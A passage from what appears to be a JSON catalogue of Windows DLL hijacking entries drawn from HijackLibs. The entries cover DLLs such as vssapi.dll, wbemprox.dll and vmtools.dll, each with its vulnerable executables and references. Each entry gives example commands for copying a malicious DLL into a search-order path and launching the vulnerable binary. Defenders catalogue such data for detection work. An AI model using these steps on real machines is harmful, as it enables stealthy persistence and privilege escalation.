        "url": "https://www.cyjax.com/resources/blog/a-sting-on-bing-bumblebee-delivered-through-bing-seo-poisoning-campaign/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/96480ef5ccfa8fcb0646538c440103d97ab741ed83f4c2bcb7b4717569f88770/community"
      },
      {
        "label": "Reference",
        "url": "https://ctrlaltintel.com/research/FudCrypt-analysis-1/"
      },
      {
        "label": "Reference",
        "url": "https://www.iobit.com/en/iobit-unlocker"
      },
      {
        "label": "Reference",
        "url": "https://www.iobit.com/product-manuals/unlocker-help"
      },
      {
        "label": "Reference",
        "url": "https://community.ccleaner.com/t/c-program-files-ccleaner-ccleanerbugreport-exe-as-part-of-v6-04-pro/77580"
      },
      {
        "label": "Reference",
        "url": "https://help.webex.com/article/dluqwo/Executable-files-used-by-Webex-App-on-Windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/version.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vftrace.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\CyberArk\\\\Endpoint Privilege Manager\\\\Agent\\\\x32\\\\vftrace.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"vf_host.exe\\\"\"\n\n# vftrace.dll\n\n**Vendor:** CyberArk\n\n**Expected Location:** %PROGRAMFILES%\\CyberArk\\Endpoint Privilege Manager\\Agent\\x32\n\n**Vulnerable Executables:**\n- vf_host.exe (Sideloading)\n\n**Acknowledgement:** Threat Hunting Team Symantec\n\n**Acknowledgement:** CISA\n",
    "_source": "windows-dllhijack-vftrace.md",
    "author": "Sorina Ionescu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vftrace.dll — Sideloading hijacking (CyberArk)",
    "execution": {
      "template": "vftrace.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vftrace",
    "name": "vftrace.dll",
    "namespace": "windows:dllhijack:vftrace",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/budworm-espionage-us-state?web_view=true"
      },
      {
        "label": "Reference",
        "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277b"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vftrace.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious virtdisk.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\virtdisk.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# virtdisk.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-virtdisk.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "virtdisk.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "virtdisk.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local"
    ],
    "id": "windows-dllhijack-virtdisk",
    "name": "virtdisk.dll",
    "namespace": "windows:dllhijack:virtdisk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/virtdisk.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vivaldi_elf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Vivaldi\\\\Application\\\\vivaldi_elf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\Vivaldi\\\\Application\\\\vivaldi.exe\\\"\"\n\n# vivaldi_elf.dll\n\n**Vendor:** Vivaldi\n\n**Expected Location:** %LOCALAPPDATA%\\Vivaldi\\Application\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\Vivaldi\\Application\\vivaldi.exe (Sideloading)\n",
    "_source": "windows-dllhijack-vivaldi-elf.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vivaldi_elf.dll — Sideloading hijacking (Vivaldi)",
    "execution": {
      "template": "vivaldi_elf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vivaldi-elf",
    "name": "vivaldi_elf.dll",
    "namespace": "windows:dllhijack:vivaldi-elf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/vizom-malware-targets-brazilian-bank-customers-remote-overlay/"
      },
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vivaldi-elf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vmtools.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VMware\\\\VMware Tools\\\\vmtools.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\VMware\\\\VMware Tools\\\\rvmSetup.exe\\\"\"\n\n# vmtools.dll\n\n**Vendor:** VMWare\n\n**Expected Location:** %PROGRAMFILES%\\VMware\\VMware Tools\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\VMware\\VMware Tools\\rvmSetup.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-vmtools.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vmtools.dll — Sideloading hijacking (VMWare)",
    "execution": {
      "template": "vmtools.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vmtools",
    "name": "vmtools.dll",
    "namespace": "windows:dllhijack:vmtools",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a3d340480fc015cd7c548fccad9218222c37178af95727b612d768d8e4b24964/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vmtools.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vntfxf32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Venta\\\\VentaFax & Voice\\\\vntfxf32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Venta\\\\VentaFax & Voice\\\\spoololk.exe\\\"\"\n\n# vntfxf32.dll\n\n**Vendor:** VentaFax\n\n**Expected Location:** %PROGRAMFILES%\\Venta\\VentaFax & Voice\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Venta\\VentaFax & Voice\\spoololk.exe (Sideloading)\n",
    "_source": "windows-dllhijack-vntfxf32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vntfxf32.dll — Sideloading hijacking (VentaFax)",
    "execution": {
      "template": "vntfxf32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vntfxf32",
    "name": "vntfxf32.dll",
    "namespace": "windows:dllhijack:vntfxf32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vntfxf32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious vsodscpl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\McAfee\\\\VirusScan Enterprise\\\\vsodscpl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"scncfg32.exe\\\"\"\n\n# vsodscpl.dll\n\n**Vendor:** McAfee\n\n**Expected Location:** %PROGRAMFILES%\\McAfee\\VirusScan Enterprise\n\n**Vulnerable Executables:**\n- scncfg32.exe (Sideloading)\n\n**Acknowledgement:** Sean Gallagher\n",
    "_source": "windows-dllhijack-vsodscpl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vsodscpl.dll — Sideloading hijacking (McAfee)",
    "execution": {
      "template": "vsodscpl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-vsodscpl",
    "name": "vsodscpl.dll",
    "namespace": "windows:dllhijack:vsodscpl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://eiploader.wordpress.com/2011/03/28/digitally-signed-malware-without-stealing-certificates/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vsodscpl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious vssapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vssapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# vssapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\cleanmgr.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vssadmin.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %PROGRAMFILES%\\Avira\\Antivirus\\avshadow.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-vssapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "vssapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "vssapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-vssapi",
    "name": "vssapi.dll",
    "namespace": "windows:dllhijack:vssapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2023/03/14/slow-ticking-time-bomb-tick-apt-group-dlp-software-developer-east-asia/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vssapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious vsstrace.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vsstrace.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# vsstrace.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vssadmin.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-vsstrace.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "vsstrace.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "vsstrace.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-vsstrace",
    "name": "vsstrace.dll",
    "namespace": "windows:dllhijack:vsstrace",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vsstrace.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vstdlib_s64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Steam\\\\vstdlib_s64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Steam\\\\steamerrorreporter64.exe\\\"\"\n\n# vstdlib_s64.dll\n\n**Vendor:** Valve\n\n**Expected Location:** %PROGRAMFILES%\\Steam\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Steam\\steamerrorreporter64.exe (Sideloading)\n\n**Acknowledgement:** Unit 42\n",
    "_source": "windows-dllhijack-vstdlib-s64.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vstdlib_s64.dll — Sideloading hijacking (Valve)",
    "execution": {
      "template": "vstdlib_s64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vstdlib-s64",
    "name": "vstdlib_s64.dll",
    "namespace": "windows:dllhijack:vstdlib-s64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-09-19-IOCs-for-file-downloader-to-Lumma-Stealer.txt"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/Unit42_Intel/status/1837137726409158770"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vstdlib-s64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wbemcomn.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wbemcomn.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\Wbem\\\\WmiApSrv.exe\\\"\"\n\n# wbemcomn.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\Wbem\\WmiApSrv.exe (Search Order)\n\n**Acknowledgement:** v1stra\n",
    "_source": "windows-dllhijack-wbemcomn.md",
    "author": "v1stra",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wbemcomn.dll — Search Order hijacking (Microsoft)",
    "execution": {
      "template": "wbemcomn.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wbemcomn",
    "name": "wbemcomn.dll",
    "namespace": "windows:dllhijack:wbemcomn",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/v1stra/7a13f2a27a1c9b97778d12e13a3d53c2"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wbemcomn.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wbemprox.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wbem\\\\wbemprox.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cttune.exe\\\"\"\n\n# wbemprox.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\wbem\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cttune.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\driverquery.exe (Environment Variable)\n- %SYSTEM32%\\getmac.exe (Environment Variable)\n- %SYSTEM32%\\gpresult.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\msinfo32.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\systeminfo.exe (Environment Variable)\n- %SYSTEM32%\\taskkill.exe (Environment Variable)\n- %SYSTEM32%\\tasklist.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wbemprox.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wbemprox.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wbemprox.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wbemprox",
    "name": "wbemprox.dll",
    "namespace": "windows:dllhijack:wbemprox",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wbemprox.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wbemsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wbem\\\\wbemsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cttune.exe\\\"\"\n\n# wbemsvc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\wbem\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cttune.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\driverquery.exe (Environment Variable)\n- %SYSTEM32%\\getmac.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\msinfo32.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\systeminfo.exe (Environment Variable)\n- %SYSTEM32%\\tasklist.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wbemsvc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wbemsvc.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wbemsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wbemsvc",
    "name": "wbemsvc.dll",
    "namespace": "windows:dllhijack:wbemsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wbemsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wcldll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Cisco Systems\\\\Cisco Jabber\\\\wcldll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Webex\\\\Applications\\\\ptInst.exe\\\"\"\n\n# wcldll.dll\n\n**Vendor:** Cisco\n\n**Expected Location:** %PROGRAMFILES%\\Cisco Systems\\Cisco Jabber\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Webex\\Applications\\ptInst.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-wcldll.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wcldll.dll — Sideloading hijacking (Cisco)",
    "execution": {
      "template": "wcldll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wcldll",
    "name": "wcldll.dll",
    "namespace": "windows:dllhijack:wcldll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/26227914bdad9baf491a9b966e6301fc997cff35c677dcfd9628654f4f6bc9fc/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/fa1443219f210bdcf3a25b311342851f61378536eb11810366468156fbd5c051"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wcldll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wcmapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wcmapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wcmapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wcmapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wcmapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wcmapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wcmapi",
    "name": "wcmapi.dll",
    "namespace": "windows:dllhijack:wcmapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wcmapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wcnnetsh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wcnnetsh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wcnnetsh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wcnnetsh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wcnnetsh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wcnnetsh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wcnnetsh",
    "name": "wcnnetsh.dll",
    "namespace": "windows:dllhijack:wcnnetsh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wcnnetsh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wdi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wdi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cofire.exe\\\"\"\n\n# wdi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cofire.exe (Sideloading)\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Environment Variable)\n- %SYSTEM32%\\slui.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wdi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wdi.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wdi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wdi",
    "name": "wdi.dll",
    "namespace": "windows:dllhijack:wdi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
